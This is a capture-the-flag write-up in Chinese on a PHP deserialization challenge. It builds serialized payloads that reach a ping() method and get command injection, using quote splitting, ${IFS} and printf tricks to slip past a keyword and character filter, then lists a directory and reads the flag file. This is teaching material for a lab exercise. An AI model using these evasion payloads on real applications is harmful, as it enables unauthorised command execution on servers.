进入题目直接得到源码,初步代码审计后确定是php反序列化题目
大体来看就是创建了一个case类,然后可接受post传来的参数ctf的值并对其进行base64解码以及反序列化
先看魔术方法:
__wakeup方法使用waf方法对$args的内容进行了过滤,过滤掉了| & ; 空格 / cat flag tac php ls
__destruct方法检测ping是否在$method中,并调用了名为$method的方法,以数组$args中的值作为参数
然后ping方法将输入参数作为外部命令进行执行并返回输出结果
综合来看就是通过$method和__construct来调用构造的ping方法,接着通过$args作为输入口进行命令的输入
那么我们在本地编写一个生成payload的php脚本
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b."</br>";
echo base64_encode(serialize($a));
?>
这里使用了单双引号绕过
生成结果如下
使用hackbar提交此payload,得到
可得flag_1s_here这个目录,那么还需要查看这个目录
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b."</br>";
echo base64_encode(serialize($a));
?>
此处使用了${IFS}绕过了空格过滤,返回结果如下
发现目标文件flag_831b69012c67b35f.php
那么我们就需要构造cat flag_1s_here/flag_831b69012c67b35f.php
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b."</br>";
echo base64_encode(serialize($a));
?>
此时这个最终的payload的中,我们采用单双引号绕过正则过滤,${IFS}绕过空格过滤,printf绕过/过滤
把payload提交
得到flag